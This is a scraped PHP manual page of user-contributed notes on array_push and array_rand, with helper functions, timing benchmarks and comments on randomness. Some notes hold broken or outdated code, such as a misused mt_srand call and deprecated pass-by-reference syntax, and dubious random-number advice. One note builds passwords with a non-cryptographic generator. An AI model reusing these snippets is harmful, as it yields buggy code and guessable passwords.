    $key = array_shift($keys);
    $element = $array[$key];
    unset($array[$key]);
    return $element;
}
?>
rarioj at gmail dot com 04-Oct-2009 06:44
This function "Returns the new number of elements in the array."

To find out the last index, use:

<?php
$count = array_push($array, $value);
$last_index = array_pop(array_keys($array));
?>
helpmepro1 at gmail dot com 13-Jan-2009 01:43
elegant php array combinations algorithm

<?

//by Shimon Dookin

function get_combinations(&$lists,&$result,$stack=array(),$pos=0)
{
 $list=$lists[$pos];
 if(is_array($list))
  foreach($list as $word)
  {
   array_push($stack,$word);
   if(count($lists)==count($stack))
    $result[]=$stack;
   else
    get_combinations($lists,$result,$stack,$pos+1);
   array_pop($stack);
  }
}

$wordlists= array( array("shimon","doodkin") , array("php programmer","sql programmer","mql metatrader programmer") );

get_combinations($wordlists,$combinations);

echo '<xmp>';
print_r($combinations);

?>
wesleys at opperschaap dot net 10-Oct-2008 12:58
A function which mimics push() from perl, perl lets you push an array to an array: push(@array, @array2, @array3). This function mimics that behaviour.

<?php

function array_push_array(&$arr) {
    $args = func_get_args();
    array_shift($args);

    if (!is_array($arr)) {
        trigger_error(sprintf("%s: Cannot perform push on something that isn't an array!", __FUNCTION__), E_USER_WARNING);
        return false;
    }

    foreach($args as $v) {
        if (is_array($v)) {
            if (count($v) > 0) {
                array_unshift($v, &$arr);
                call_user_func_array('array_push',  $v);
            }
        } else {
            $arr[] = $v;
        }
    }
    return count($arr);
}

$arr = array(0);
$arr2  = array(6,7,8);
printf("%s\n", array_push_array($arr, array(),array(1,2,3,4,5), $arr2));
print_r($arr);

# error..
$arr = "test";
printf("%s\n", array_push_array($arr, array(),array(1,2,3,4,5), $arr2));

?>
willdemaine at gmail dot com 07-Aug-2008 07:00
If you're adding multiple values to an array in a loop, it's faster to use array_push than repeated [] = statements that I see all the time:

<?php
class timer
{
        private $start;
        private $end;

        public function timer()
        {
                $this->start = microtime(true);
        }

        public function Finish()
        {
                $this->end = microtime(true);
        }

        private function GetStart()
        {
                if (isset($this->start))
                        return $this->start;
                else
                        return false;
        }

        private function GetEnd()
        {
                if (isset($this->end))
                        return $this->end;
                else
                        return false;
        }

        public function GetDiff()
        {
                return $this->GetEnd() - $this->GetStart();
        }

        public function Reset()
        {
                $this->start = microtime(true);
        }

}

echo "Adding 100k elements to array with []\n\n";
$ta = array();
$test = new Timer();
for ($i = 0; $i < 100000; $i++)
{
        $ta[] = $i;
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with array_push\n\n";
$test->Reset();
for ($i = 0; $i < 100000; $i++)
{
        array_push($ta,$i);
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with [] 10 per iteration\n\n";
$test->Reset();
for ($i = 0; $i < 10000; $i++)
{
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
        $ta[] = $i;
}
$test->Finish();
echo $test->GetDiff();

echo "\n\nAdding 100k elements to array with array_push 10 per iteration\n\n";
$test->Reset();
for ($i = 0; $i < 10000; $i++)
{
        array_push($ta,$i,$i,$i,$i,$i,$i,$i,$i,$i,$i);
}
$test->Finish();
echo $test->GetDiff();
?>

Output

$ php5 arraypush.php
X-Powered-By: PHP/5.2.5
Content-type: text/html

Adding 100k elements to array with []

0.044686794281006

Adding 100k elements to array with array_push

0.072616100311279

Adding 100k elements to array with [] 10 per iteration

0.034690141677856

Adding 100k elements to array with array_push 10 per iteration

0.023932933807373
bxi at apparoat dot nl 23-May-2008 04:29
I've done a small comparison between array_push() and the $array[] method and the $array[] seems to be a lot faster.

<?php
$array = array();
for ($x = 1; $x <= 100000; $x++)
{
    $array[] = $x;
}
?>
takes 0.0622200965881 seconds

and

<?php
$array = array();
for ($x = 1; $x <= 100000; $x++)
{
    array_push($array, $x);
}
?>
takes 1.63195490837 seconds

so if your not making use of the return value of array_push() its better to use the $array[] way.

Hope this helps someone.
alexander dot williamson at gmail dot com 26-Mar-2008 04:06
This will work to solve the associative array issues:

$aValues[$key] = $value;

Where $key is a unique identifier and $value is the value to be stored. Since the $key works off a string or number, if you already have a $key with the same value as an existing $key, the element will be overwritten.

e.g.

$aValues["one"] = "value of one";
$aValues["two"] = "different value of two!";

gives:
array([one] => "value of one", [two] => "value of two");

but will be overwritten when using the same key (one):

$aValues["one"] = "value of one";
$aValues["one"] = "different value of two!";

will give:

array([one] => "different value of two!");

3686
zbde00 at hotmail dot com 20-Jul-2007 05:59
A very good function to remove a element from array
function array_del($str,&$array)
{
    if (in_array($str,$array)==true)
    {

        foreach ($array as $key=>$value)
        {
            if ($value==$str) unset($array[$key]);
        }
    }
}
Marc Bernet 15-May-2006 09:18
A small and basic implementation of a stack without using an array.

class node
{
        var $elem;
        var    $next;
}
class stack
{
    var $next;
    function pop()
    {
        $aux=$this->next->elem;
        $this->next=$this->next->next;
        return $aux;
    }
    function push($obj)
    {
        $nod=new node;
        $nod->elem=$obj;
        $nod->next=$this->next;
        $this->next=$nod;
    }
    function stack()
    {
        $this->next=NULL;
    }
}
egingell at sisna dot com 28-Jan-2006 06:06
If you push an array onto the stack, PHP will add the whole array to the next element instead of adding the keys and values to the array. If this is not what you want, you're better off using array_merge() or traverse the array you're pushing on and add each element with $stack[$key] = $value.

<?php

$stack = array('a', 'b', 'c');
array_push($stack, array('d', 'e', 'f'));
print_r($stack);

?>
The above will output this:
Array (
  [0] => a
  [1] => b
  [2] => c
  [3] => Array (
     [0] => a
     [1] => b
     [2] => c
  )
)
steve at webthoughts d\ot ca 12-Nov-2005 04:02
Further Modification on the array_push_associative function
1.  removes seemingly useless array_unshift function that generates php warning
2.  adds support for non-array arguments

<?
// Append associative array elements
function array_push_associative(&$arr) {
   $args = func_get_args();
   foreach ($args as $arg) {
       if (is_array($arg)) {
           foreach ($arg as $key => $value) {
               $arr[$key] = $value;
               $ret++;
           }
       }else{
           $arr[$arg] = "";
       }
   }
   return $ret;
}

$items = array("here" => "now");
$moreitems = array("this" => "that");

$theArray = array("where" => "do we go", "here" => "we are today");
echo array_push_associative($theArray, $items, $moreitems, "five") . ' is the size of $theArray.<br />';

echo "<pre>";
print_r($theArray);
echo "</pre>";

?>

Yields:

4 is the size of $theArray.
Array
(
    [where] => do we go
    [here] => now
    [this] => that
    [five] =>
)
john 19-Oct-2005 01:33
A variation of kamprettos' associative array push:

// append associative array elements
function associative_push($arr, $tmp) {
  if (is_array($tmp)) {
    foreach ($tmp as $key => $value) {
      $arr[$key] = $value;
    }
    return $arr;
  }
  return false;
}

$theArray = array();
$theArray = associative_push($theArray, $items);
kamprettos at yahoo dot com Teguh Iskanto 19-Sep-2005 05:33
Looking for a way to push data into an associative array and frustrated to know that array_push() can't do the job ?

here's my Scenario :
-------------------
I need to relate system command output into an associative array like these :

[sge@digital_db work]$ /usr/local/apache/htdocs/work/qhost.sh -h t1 -F | awk '{if(NR>4) print $1}' | sed  's/hl://g'
arch=lx24-amd64
num_proc=2.000000
mem_total=3.808G
swap_total=3.907G
virtual_total=7.715G
load_avg=0.000000
load_short=0.000000
load_medium=0.000000
load_long=0.000000
mem_free=3.510G
swap_free=3.907G
virtual_free=7.417G
mem_used=305.242M
swap_used=0.000
virtual_used=305.242M
cpu=0.000000
np_load_avg=0.000000
np_load_short=0.000000
np_load_medium=0.000000
np_load_long=0.000000

how I did it :
<? php

# get into the system command output
$assoc_cmd =`$work_dir/qhost.sh -h $host_resource -F | awk '{if(NR>4) print $1}'| sed  's/hl://g' ` ;

# split the "\n" character
$assoc_row = explode("\n", chop($assoc_cmd));

# get the index row
$idx_row  = count($assoc_row) - 1 ;

# initialize the associative array
$host_res_array = array();

for ($i = 0 ; $i<= $idx_row ; $i++)
        {
                # get params & values
                list($host_param,$host_val) = explode("=",$assoc_row[$i]);

                # populate / push data to assoc array
                $host_res_array[$host_param]= $host_val ;
        }

echo "<pre> Architecture : </pre>\n" ;
echo $host_res_array['arch'] ;
echo "<pre> Mem Total    : </pre>\n" ;
echo $host_res_array['mem_tot'];

?>

Hope this helps ! :)
bk at quicknet dot nl 04-Sep-2005 01:51
Add elements to an array before or after a specific index or key:

<?php

/**
 * @return array
 * @param array $src
 * @param array $in
 * @param int|string $pos
*/
function array_push_before($src,$in,$pos){
    if(is_int($pos)) $R=array_merge(array_slice($src,0,$pos), $in, array_slice($src,$pos));
    else{
        foreach($src as $k=>$v){
            if($k==$pos)$R=array_merge($R,$in);
            $R[$k]=$v;
        }
    }return $R;
}

/**
 * @return array
 * @param array $src
 * @param array $in
 * @param int|string $pos
*/
function array_push_after($src,$in,$pos){
    if(is_int($pos)) $R=array_merge(array_slice($src,0,$pos+1), $in, array_slice($src,$pos+1));
    else{
        foreach($src as $k=>$v){
            $R[$k]=$v;
            if($k==$pos)$R=array_merge($R,$in);
        }
    }return $R;
}

// Examples:

$src=array("A","B","C");
$in=array("X","Y");

var_dump(array_push_before($src,$in,1));
/* array_push_before, no-key array
array(5) {
  [0]=>
  string(1) "A"
  [1]=>
  string(1) "X"
  [2]=>
  string(1) "Y"
  [3]=>
  string(1) "B"
  [4]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,1));
/* array_push_after, no-key array
array(5) {
  [0]=>
  string(1) "A"
  [1]=>
  string(1) "B"
  [2]=>
  string(1) "X"
  [3]=>
  string(1) "Y"
  [4]=>
  string(1) "C"
}*/

$src=array('a'=>"A",'b'=>"B",'c'=>"C");
$in=array('x'=>"X",'y'=>"Y");

var_dump(array_push_before($src,$in,1));
/* array_push_before, key array, before index insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["b"]=>
  string(1) "B"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_before($src,$in,'b'));
/* array_push_before, key array, before key insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["b"]=>
  string(1) "B"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,1));
/* array_push_after, key array, after index insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["b"]=>
  string(1) "B"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["c"]=>
  string(1) "C"
}*/

var_dump(array_push_after($src,$in,'b'));
/* array_push_after, key array, after key insert
array(5) {
  ["a"]=>
  string(1) "A"
  ["b"]=>
  string(1) "B"
  ["x"]=>
  string(1) "X"
  ["y"]=>
  string(1) "Y"
  ["c"]=>
  string(1) "C"
}*/

?>
ciprian dot amariei at gmail com 30-Aug-2005 02:47
regarding the speed of oneill's solution to insert a value into a non-associative array,  I've done some tests and I found that it behaves well if you have a small array and more insertions, but for a huge array and a little insersions I sugest  using this function:

function array_insert( &$array, $index, $value ) {
   $cnt = count($array);

   for( $i = $cnt-1; $i >= $index; --$i ) {
       $array[ $i + 1 ] = $array[ $i ];
   }
   $array[$index] = $value;
}

or if you are a speed adicted programmer (same situation: big array, few insertions) use this:

array_splice ( $array, $offset, 0, $item );

item may also be an array of values ;).
Phil Davies 18-Jul-2005 03:51
As someone pointed out the array_push() function returns the count of the array not the key of the new element. As it was the latter function i required i wrote this very simple replacement.

function array_push2(&$array,$object,$key=null){
    $keys = array_keys($array);
    rsort($keys);
    $newkey = ($key==null)?$keys[0]+1:$key;
    $array[$newkey] = $object;
    return $newkey;
}
oneill at c dot dk 03-Jun-2005 01:50
To insert a value into a non-associative array, I find this simple function does the trick:

function insert_in_array_pos($array, $pos, $value)
{
  $result = array_merge(array_slice($array, 0 , $pos), array($value), array_slice($array,  $pos));
  return $result;
}

Seems an awful lot simpler than the iterative solutions given above...
aaron dot hawley at uvm dot edu 27-May-2005 11:36
Skylifter notes on 20-Jan-2004 that the [] empty bracket notation does not return the array count as array_push does.  There's another difference between array_push and the recommended empty bracket notation.

Empy bracket doesn't check if a variable is an array first as array_push does.  If array_push finds that a variable isn't an array it prints a Warning message if E_ALL error reporting is on.

So array_push is safer than [], until further this is changed by the PHP developers.
andrew at cgipro dot com 02-Feb-2005 03:18
Need a real one-liner for adding an element onto a new array name?

$emp_list_bic = $emp_list + array(c=>"ANY CLIENT");

CONTEXT...
drewdeal: this turns out to be better and easier than array_push()
patelbhadresh: great!... so u discover new idea...
drewdeal: because you can't do:   $emp_list_bic = array_push($emp_list, c=>"ANY CLIENT");
drewdeal: array_push returns a count and affects current array.. and does not support set keys!
drewdeal: yeah. My one-liner makes a new array as a derivative of the prior array
bart at framers dot nl 27-Sep-2001 04:16
Array_push also works fine with multidimensional arrays. Just make sure the element is defined as an array first.

<?php
$array["element"][$element]["element"] = array();
array_push ($array["element"][$element]["element"], "banana");
?>


从数组中随机取出一个或多个单元

  • ? array_push
  • array_reduce ?
  • PHP Manual
  • 数组 函数
  • 从数组中随机取出一个或多个单元

array_rand

(PHP 4, PHP 5, PHP 7)

array_rand — 从数组中随机取出一个或多个单元

说明

array_rand ( array $array [, int $num = 1 ] ) : mixed

从数组中取出一个或多个随机的单元，并返回随机条目的一个或多个键。 它使用了伪随机数产生算法，所以不适合密码学场景，

参数

array

输入的数组。

num

指明了你想取出多少个单元。

返回值

如果只取出一个，array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后，就可以根据随机的键获取数组的随机值。 取出数量如果超过 array 的长度，就会导致 E_WARNING 错误，并返回 NULL。

更新日志

版本 | 说明
7.1.0 | 内置的随机数生成算法从 libc rand 函数改成 » 梅森旋转 伪随机数生成算法。
5.2.10 | The resulting array of keys is no longer shuffled.

范例

Example #1 array_rand() 例子

<?php
$input = array("Neo", "Morpheus", "Trinity", "Cypher", "Tank");
$rand_keys = array_rand($input, 2);
echo $input[$rand_keys[0]] . "\n";
echo $input[$rand_keys[1]] . "\n";
?>

参见

  • shuffle() - 打乱数组

User Contributed Notes

akalongman at gmail dot com 08-Aug-2018 11:38
I'd recommend use random_int() instead of mt_rand()
grzeniufication 03-Mar-2018 10:19
<?php

/**
 * Wraps array_rand call with additional checks
 *
 * TLDR; not so radom as you'd wish.
 *
 * NOTICE: the closer you get to the input arrays length, for the n parameter, the  output gets less random.
 * e.g.: array_random($a, count($a)) == $a will yield true
 * This, most certainly, has to do with the method used for making the array random (see other comments).
 *
 * @throws OutOfBoundsException - if n less than one or exceeds size of input array
 *
 * @param array $array - array to randomize
 * @param int $n - how many elements to return
 * @return array
 */
function array_random(array $array, int $n = 1): array
{
    if ($n < 1 || $n > count($array)) {
        throw new OutOfBoundsException();
    }

    return ($n !== 1)
        ? array_values(array_intersect_key($array, array_flip(array_rand($array, $n))))
        : array($array[array_rand($array)]);
}
grzeniufication 03-Mar-2018 09:22
<?php
// An example how to fetch multiple values from array_rand
$a = [ 'a', 'b', 'c', 'd', 'e', 'f', 'g' ];
$n = 3;

// If you want to fetch multiple values you can try this:
print_r( array_intersect_key( $a, array_flip( array_rand( $a, $n ) ) ) );

// If you want to re-index keys wrap the call in 'array_values':
print_r( array_values( array_intersect_key( $a, array_flip( array_rand( $a, $n ) ) ) ) );
enanda dot am at gmail dot com 13-Oct-2017 11:54
We can use this function to create random HEX Color codes :

<? php

    $color='#';

    $colors = array (0,1,2,3,4,5,6,7,8,9,'A','B','C','D','E','F');

    for($i=0;$i<6;$i++){

        $color.=$colors[array_rand($colors)];

    }

         echo $color;

?>

So each time we ran this script it will generate a random HEX color code and print it in the screen .
notmuqsit at gmail dot com 27-Sep-2017 11:36
When the second argument is greater than 1, the output array will be arranged in ascending order.

$a = ["Albert", "James", "Steve", "Charlie", "Sarah"];

The least value of array keys of $a is 0 and the highest is 4 in this case. Now let's do some tests.

//Infinite loops (never ending loops)
while(array_rand($a, 2)[0] !== 4);
while(array_rand($a, 2)[1] !== 0);

//Non-infinite loops.
while(array_rand($a, 2)[0] === 0);
while(array_rand($a, 2)[1] === 4);

Why is this important?
You will never get a perfectly random key if you aren't aware of that.

array_rand($a, 2)[0] will NEVER return the last key (by the last key I mean the last key of the array when you arrange the array keys in ascending order).

array_rand($a, 2)[1] will NEVER return the first key (by the first key I mean the first key of the array when you arrange the array keys in ascending order).

In our case,

$random = array_rand($a, 2);
echo $a[$random[0]];//Possible output: "Albert", "James", "Steve" or "Charlie"
echo $a[$random[1]];//Possible output: "James", "Steve", "Charlie" or "Sarah"

You might want to shuffle($random) in such a case. This is only needed IF you have defined the second parameter and the second parameter > 1.
sondermann dot m at gmail dot com 17-Nov-2016 03:41
It is not written on here but you should note that the keys that are returned are always sorted low to high.
This was unexpected for me since my main reason to use this function was to get a random subset of an array (use case was to list products in a sidebar).

As a result of this, even if the same products were picked randomly another time, they were always arranged in the same way.

This is my solution, may help someone who also needs a fully randomized subset of an array:

<?php
function array_random_keys( $array, $num = 1 ) {
        if ( !is_array( $array ) ) return $array;
        if( (int)$num < 1 ) return array();
        $keys = array_keys($array);
        shuffle($keys);
        if( $num == 1 ) {
          return $keys[0];
        }
        return array_splice( $keys, 0, $num );
}
?>
divinity76 at gmail dot com 15-Oct-2016 01:59
if you're looking for a cryptographically secure variant (as of speaking, php uses mt_rand), i made this. (limitations: it has no $num parameter. it requires php>=7)

<?php
function csarray_rand(array $arr){
    $keys=array_keys($arr);
    $count=count($keys);
    if($count===0){
        //Contrary to documentation, PHP 4 and 5 and 7, up to php 7.1.0alpha3 does not actually return any warning when the array is empty and $num=NULL (and further contradicting the documentation, its NULL by default, not 1, and they are treated differently, 1 gives error, NULL does not.) ... 7.1.0beta1 does throw an error however... follow their example?
        if(version_compare(PHP_VERSION,'7.1.0beta1','>=')){
            trigger_error('Warning: csarray_rand(): Array is empty',E_USER_ERROR);
        }
        return NULL;
    }
    $csrand=random_int(0,count($keys)-1);
    return $keys[$csrand];
}
?>
mike at eastghost dot com 04-Jun-2015 09:13
Verified 2015-06-03 -- this function produces VERY uneven "random" distribution.
Wirek 16-Apr-2015 11:43
I agree with Sebmil (http://php.net/manual/en/function.array-rand.php#105265) that "array_rand()" produces weird and very uneven random distribution (as of my local PHP 5.3.8 and my public host's PHP 5.2.17).
Unfortunately, I haven't got any access either to a server with the latest PHP version. My info is for those of you who like to check things for themselves and who don't believe all of the official statements in the docs.
I've made a simple adjustment of his test code like this:
<?php
$s=1;    // Start value
$c=50;    // Count / End value
$test=array_fill($s, $c, 0);
$ts=microtime(true);
for($i=0; $i<5000000; $i++){
    $idx=mt_rand($s, $c);    // Try it with rand() - simpler but more evenly distributed than mt_rand()
    $test[$idx]++;
}
$te=microtime(true);
$te=($te-$ts)*1000.0;    // Loop time in miliseconds

asort($test);
echo "Test mt_rand() in ".$te." ms: <br/>\n";
foreach($test as $k=>$v) echo "$k :\t$v <br/>\n";
?>

And it appears to me that simple "$idx=rand(0, count($test)-1);" is much better than "$idx=array_rand($test, 1);".
And what's more the simpler and a bit slower (0 ms up to total 712.357 ms at 5 mln cycles) "rand()" is better than "mt_rand()" in simple everyday use cases because it is more evenly distributed (difference least vs. most often numbers: ca. 0.20-1.28 % for "rand()" vs. ca. 1.43-1.68 % for "mt_rand()").
Try it for yourself... although it depends on your software and hardware configuration, range of numbers to choose from (due to random patterns), number of cycles in the loop, and temporary (public) server load as well.
compolom at gmail dot com 13-Feb-2015 04:17
/*
useful function to sort an array randomly
*/
function sort_array_rand($array) {
    $result = array();
    $y = sizeof($array);
    $x = 0;
    while ($x < pow($y, 2)) {
        $result[] = $array[array_rand($array)];
        $x++;
    }
    return array_unique($result);
}
Tmy Adeson 08-Jan-2015 02:29
<?php
// You can do this, programmatically, using the following code ... Test It Yourself (TIY)

$colors=array(
    'gray','red','orange','green',
    '#B2CC80','#CC6699','#B89470','#99CCFF',
);//colors array

$c1=sizeof($colors)-1;//get position of the last element within the colors array

//    -- OR, if you prefer --
//$c1=count($colors)-1;//get position of the last element within the colors array

//pick a color at random from the colors array - 'Mersenne Twister based'
$color=$colors[mt_rand(0,$c1)];

echo<<<HERE
<!DOCTYPE html>
<html>
 <head>
   <meta http-equiv="refresh" content="2">
 </head>
 <body>
   <div style="width:400px; background-color:$color; border:1px; text-align:center;" >
     $color
   </div>
 </body>
</html>
HERE;
?>
yopai 08-Jan-2015 01:21
@Sebmil :
You say this function "has a strange randomness [, because] the 31st one is always by far the less occuring (by about 10% less than others)."

That's right (at least under linux, PHP 5.3). And it's also visible when calling array_rand with 1 as second parameter.

After checking the code, and testing it, I concluded that you have to call srand() at each iteration of your loop.

To be simple, a rand() call is made <n> times when the <n>th key is returned;
I suppose there is a flaw in the pseudorandom number generator (PRNG)  that php uses; somehow the generation has a frequency of 31 (when a random number is sufficiently low, then the 31st after it will be more higher).

Reinitializing the PRNG each time you enter the loop make the problem disappear (and is cheaper, in terms of time, than using shuffle).

In other words, the following code :
for ($i = 0; $i < 10000; ++$i)
{
    /* reinitialize the PRNG --> */ srand();
    $tirage_tab = array_rand($valeurs, 10);
    foreach($tirage_tab as $key => $value)
    {
        $proba[$valeurs[$value]]++;
    }
}

doesn't have the strange behaviour you noticed. No PRNG is perfectly random, so taking the habit of calling srand() from time to time is still a good practice if you rely on a lot of random numbers.
BenedictLemieux at gmail dot com 14-Sep-2014 03:31
Two things always bugged me with array_rand().

First is its name. It does not sound clear enough whether it gives key or values.

Second and more importantly is its erratic randomness, which is already well documented.

That is why I came up with these two simple functions:

<?php
function random_key($array){
    $keys=array_keys($array);
    return $keys[mt_rand(0, count($keys) - 1)];
}
function random_value($array){
    $values=array_values($array);
    return $values[mt_rand(0, count($values) - 1)];
}
?>

They both work well with any kind of arrays, do not alter the original one like shuffle, are giving more realistic random results, and their names are self describing.

The main drawback is that, as opposed to array_rand, they only gives one element, but at least that is clear from their name. I do believe easy to make random_keys and random_values.
marco at behnke dot biz 12-Sep-2014 01:52
Is there a difference in randomness if you use shuffle instead?

<?php
function array_shuffle($input, $num_of_results) {
    shuffle($input);
    return array_chunk($input, $num_of_results, true)[0];
}

$input = array("Neo", "Morpheus", "Trinity", "Cypher", "Tank");
var_dump(array_shuffle($input, 2));

/*
array(2) {
  [0]=>
  string(3) "Neo"
  [1]=>
  string(8) "Morpheus"
}
*/
?>

And yes, I know that my example returns a portion of the array and not just the key numbers
john at brahy dot com 07-May-2014 11:00
if you want random elements from an array, this worked pretty well for me.

<?php
//using shuffle randomizes the order of elements

function get_random_elements( $array,$limit = 0 ) {

    shuffle($array);

    if ( $limit > 0 ) {
        $array = array_splice($array, 0, $limit);
    }
    return $array;
}
?>
nospamplease at mail dot com 13-Aug-2013 02:18
Random choice with a closure.

$randomChoice  = function($array) {return $array[array_rand($array)];};

$names = ['Dexter', 'Esther', 'David', 'Richard', 'Rachel', 'Belinda'];

echo $randomChoice($names);
Jordan Doyle 19-May-2013 09:49
Note: array_rand uses the libc generator, which is slower and less-random than Mersenne Twister.

<?php
    $a = ['http://php.net/', 'http://google.com/', 'http://bbc.co.uk/'];

    $website = $a[mt_rand(0, count($a) - 1)];
?>

This is a better alternative.
Anonymous 13-Jul-2012 02:42
It doesn't explicitly say it in the documentation, but PHP won't pick the same key twice in one call.
qeremy 07-Mar-2012 01:18
An example for getting random value from arrays;

<?php
function array_random($arr, $num = 1) {
    shuffle($arr);

    $r = array();
    for ($i = 0; $i < $num; $i++) {
        $r[] = $arr[$i];
    }
    return $num == 1 ? $r[0] : $r;
}

$a = array("apple", "banana", "cherry");
print_r(array_random($a));
print_r(array_random($a, 2));
?>

cherry
Array
(
    [0] => banana
    [1] => apple
)

And example for getting random value from assoc arrays;

<?php
function array_random_assoc($arr, $num = 1) {
    $keys = array_keys($arr);
    shuffle($keys);

    $r = array();
    for ($i = 0; $i < $num; $i++) {
        $r[$keys[$i]] = $arr[$keys[$i]];
    }
    return $r;
}

$a = array("a" => "apple", "b" => "banana", "c" => "cherry");
print_r(array_random_assoc($a));
print_r(array_random_assoc($a, 2));
?>

Array
(
    [c] => cherry
)
Array
(
    [a] => apple
    [b] => banana
)
Sebmil 05-Aug-2011 12:18
Looks like this function has a strange randomness.

If you take any number of elements in an array which has 40..100 elements, the 31st one is always by far the less occuring (by about 10% less than others).

I tried this piece of code at home (PHP Version 5.3.2-1ubuntu4.9) and on my server (PHP Version 5.2.17), unfortunately i haven't any server with the last version here :

<?php
$valeurs = range(1, 40);
$proba = array_fill(1, 40, 0);
for ($i = 0; $i < 10000; ++$i)
{
    $tirage_tab = array_rand($valeurs, 10);
    foreach($tirage_tab as $key => $value)
    {
        $proba[$valeurs[$value]]++;
    }
}

asort($proba);
echo "Proba : <br/>\n";
foreach($proba as $key => $value)
{
    echo "$key : $value<br/>\n";
}
?>

In every try, the number of occurrences change a bit but the 31 is always far less (around 2200) than the others (2400-2600). I tried with 50 and 100 elements, no change. I tried with more or less elements to pick (second parameter to array_rand), same result. If you pick only one element it's even worse : 31 has half the result of the others.

For this particular case, i recommend shuffling the array and taking the nth first elements, in this test it's 60% faster and the statistics are ok.
Anonymous 02-Oct-2009 01:04
If the array elements are unique, and are all integers or strings, here is a simple way to pick $n random *values* (not keys) from an array $array:

<?php array_rand(array_flip($array), $n); ?>
info at pavliga dot com 28-Dec-2008 01:52
If you want get unique range:

<?php
$n = 15;

$data = range(1, 20);
$rand = array_rand($data,$n);

for($i=0; $i<$n; $i++)
{
echo $rand[$i]."<br>";
}

?>
admin at jeremyzaretski dot com 15-Dec-2008 08:11
<?php
// a foreach friendly version of array_rand
function Select_Random_Indices($source_array, $count = 1)
{
    if($count > 0)
    {
        if($count == 1)
        {
            $result = array(array_rand($source_array, $count));
        }
        else
        {
            $result = array_rand($source_array, $count);
        }
    }
    else
    {
        $result = array();
    }

    return $result;
}

// using the above function to pick random values instead of entries
function Select_Random_Entries($source_array, $count = 1)
{
    $result = array();
    $index_array = Select_Random_Indices($source_array, $count);

    foreach($index_array as $index)
    {
        $result[$index] = $source_array[$index];
    }

    return $result;
}
?>
herodesh [-at_] gmail [-dot-] com 05-Sep-2007 03:36
this is to generate a random selection from an array with array_rand preety nice, can be used to generate random passwords or anything:

$my_array = array("a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "0", "1", "2", "3", "4", "5");
        for ($i=0; $i<=10; $i++)
        {
            $random = array_rand($my_array);
                        //this generates the random number from the array
            $parola .= $my_array[$random];
                        //here we will display the exact charachter from the array
        }
        echo $parola; // printing result
Frederick Lemasson aka djassper at gmail 04-Dec-2006 12:57
To select a random Value (not a Key) from a Multi-Dimentionnal array I made a recursive function : array_multi_rand()

the following exemple randomly selects an url from a multidimentionnal array :

<?

$Expos['Google']['Science']='news.google.fr/news?topic=t';
$Expos['Google']['Economie']='news.google.fr/news?topic=b';
$Expos['Google']['Sante']='news.google.fr/news?topic=m';
$Expos['Yahoo']='fr.news.yahoo.com';
$Expos['Events']['LogicielLibre']='agendadulibre.org';
$Expos['MyBlog']='www.kik-it.com';

function array_multi_rand($Zoo){
    $Boo=array_rand($Zoo);
    if(is_array($Zoo[$Boo])){
        return array_multi_rand($Zoo[$Boo]);
    }else{
        return $Zoo[$Boo];
    }
}

echo(array_multi_rand($Expos));

?>
JS 04-Sep-2006 03:07
I wanted to write something that picks a random entry from a 1column-MySQL database - simply Post Of The Moment (potm). I know there surly are many better ways to do it, but I`m rather new to PHP :)  Anyway, it`s simple and no-problem working code.
Of course I assume your DB exists and you always have something in it.

@$link = MySQL_Connect("localhost", "username", "password"); //connect to mysql
mySQL_Select_DB("database"); //..to DB
@$potms = MySQL_Query("SELECT * FROM potm"); //now we get all from our table and store it
MySQL_Close($link); //there`s no need for connection, so we should close it

$potm_array = ''; //sets variables to "zero" values
$i = 0;
while ($entry = MySQL_Fetch_Array($potms)) //now we go through our DB
       {
         $potm_array[$i] = $entry; //our temporary array from which we will random pick a field key
         $i++; //now we increment our field key
       }

$potm_id = array_rand($potw_array); //picks a random key from array
$potm = $potm_array[$potm_id]['name_of_the_field']; //now we have stored our Post Of The Moment in $potm

..hope this helps
dragonfly at dragonflyeye dot net 07-Jul-2006 07:57
Well, this is interesting.   I don't see anyone else commenting on this, so just in case you were planning to use this function like I was, be prepared: array_rand does not handle multidimensional arrays.  It just ends up returning a list of the X-axis values without the Y-axis arrays.  Bummer.  I'm going to have to find another way to do what I wanted.
trukin at gmail dot com 16-Mar-2006 01:23
Modify of last note:
<?php
if (!function_exists('array_rand')) {
    function array_rand($array, $lim=1) {
        mt_srand((double) microtime() * 1000000);
        for($a=0; $a<=$lim; $a++){
            $num[] = mt_srand(0, count($array)-1);
        }
        return @$num;
    }
}
?>

mt_rand generates a better random number, and with the limit.
Will-ster 01-Jan-2006 04:18
This is something I have been playing with for quite awhile. I'm very new to php, but i finally got it to work. it's a function that will take and array[$arrquo] and find a particular keyword[$find] in the different elements of the array then take those elements that posess that keyword and display them at random

<?php
function popbyword($arrquo,$find)
{
$newarr = array('');
 foreach($arrquo as $line)
 {
  if( strstr( $line, $find ) )
  {
    array_push($newarr, $line);

  }
 }
srand((double)microtime()*1000000);
$rquote = array_rand($newarr);
echo $newarr[$rquote];
}

popbyword($images, 'Albert');
?>

In my case I had this huge array of quotes with 90 some elements. I was able to find certain keywords in those elements then ONLY display the elements that had those keywords. NEAT! Maybe only because I'm new.
bjcffnet at gmail dot com 29-Aug-2005 04:29
As wazaawazaa600 at msn dot com pointed out, a multi-dimensional array doesn't work with this function. So, I hope I can help someone with this :)

<?php
/**
 * Returns a number of random elements from an array.
 *
 * It returns the number (specified in $limit) of elements from
 * $array. The elements are returned in a random order, exactly
 * as it was passed to the function. (So, it's safe for multi-
 * dimensional arrays, aswell as array's where you need to keep
 * the keys)
 *
 * @author Brendan Caffrey  <bjcffnet at gmail dot com>
 * @param  array  $array  The array to return the elements from
 * @param  int    $limit  The number of elements to return from
